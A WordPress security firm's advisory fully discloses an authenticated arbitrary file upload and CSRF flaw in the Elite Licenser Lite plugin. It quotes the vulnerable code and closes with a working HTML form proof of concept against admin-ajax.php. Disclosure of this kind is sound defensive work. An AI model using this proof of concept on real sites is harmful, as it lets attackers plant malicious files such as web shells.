3 Jan 2022

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in a WordPress Plugin Used by Our Customers

One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. We have now expanded that for our customers, by running plugins used by our customers, even when code in them is not updated, through the same system on a weekly basis. Through that, we caught a less serious variant of one of those vulnerabilities, an authenticated arbitrary file upload vulnerability in the plugin Elite Licenser Lite.

Based on what we saw with the code we reviewed as part of that vulnerability, there appear to be other security issues in the plugin.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our new firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

Authenticated Arbitrary File Upload

The plugin registers the function choose_product() in the file /modules/APBDDragDropLite.php to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

26
$this->AddAjaxAction("choose-product",[$this,"choose_product"]);

That file doesn’t do a capabilities check or limit what types of files can be uploaded, before uploading a file sent with the request to the directory /wp-content/uploads/elitedd/tmp/:

134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
function choose_product() {
 
$this->SetTitle( "Choose Proudct to add license code" );
$this->SetPOPUPColClass( "col-sm-11" );
$mainObj = new Mapbd_product();
if ( APPSBD_IsPostBack ) {
	if($this->kernelObject->isDemoMode()){
		$this->AddError("This feature has been disabled in demo mode");
	}else{
		$productId=APBD_PostValue("product_id","");
		$has_own_menu=APBD_PostValue("has_own_menu","N");
		$icon_type=APBD_PostValue("icon_type","I");
		$icon="";
		$isOk=true;
		$destinationZip="";
		if(empty($productId)){
			$isOk = false;
			$this->AddError( "Product is required" );
		}
		if(empty($icon_type)){
			$isOk = false;
			$this->AddError( "Icon type is required" );
		}
		if($isOk && !empty($_FILES['plgFile']['name']) && empty($_FILES['plgFile']['error'])) {
			$destinationZip = $this->uploadBasePath . "tmp/" . sanitize_text_field($_FILES['plgFile']['name']);
			if ( file_exists( $destinationZip ) ) {
				unlink( $destinationZip );
			}
			if ( move_uploaded_file( $_FILES['plgFile']['tmp_name'],$destinationZip ) ) {

The plugin does try to restrict directly requesting files uploaded there through a .htaccess file in the directory above, but a .htaccess file can be uploaded to override that and some web servers don’t utilize .htaccess files.

Since there is not a check for a valid nonce, that could also be exploited through cross-site request forgery (CSRF).

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will upload the file sent with the request to the directory /wp-content/uploads/elitedd/tmp/, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=elite-licenser-lite_AJ_APBDDragDropLite_choose-product" enctype="multipart/form-data" method="POST">
<input type="hidden" name="product_id" value="5" />
<input type="hidden" name="icon_type" value="F" />
<input type="file" name="plgFile" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published. Required fields are marked *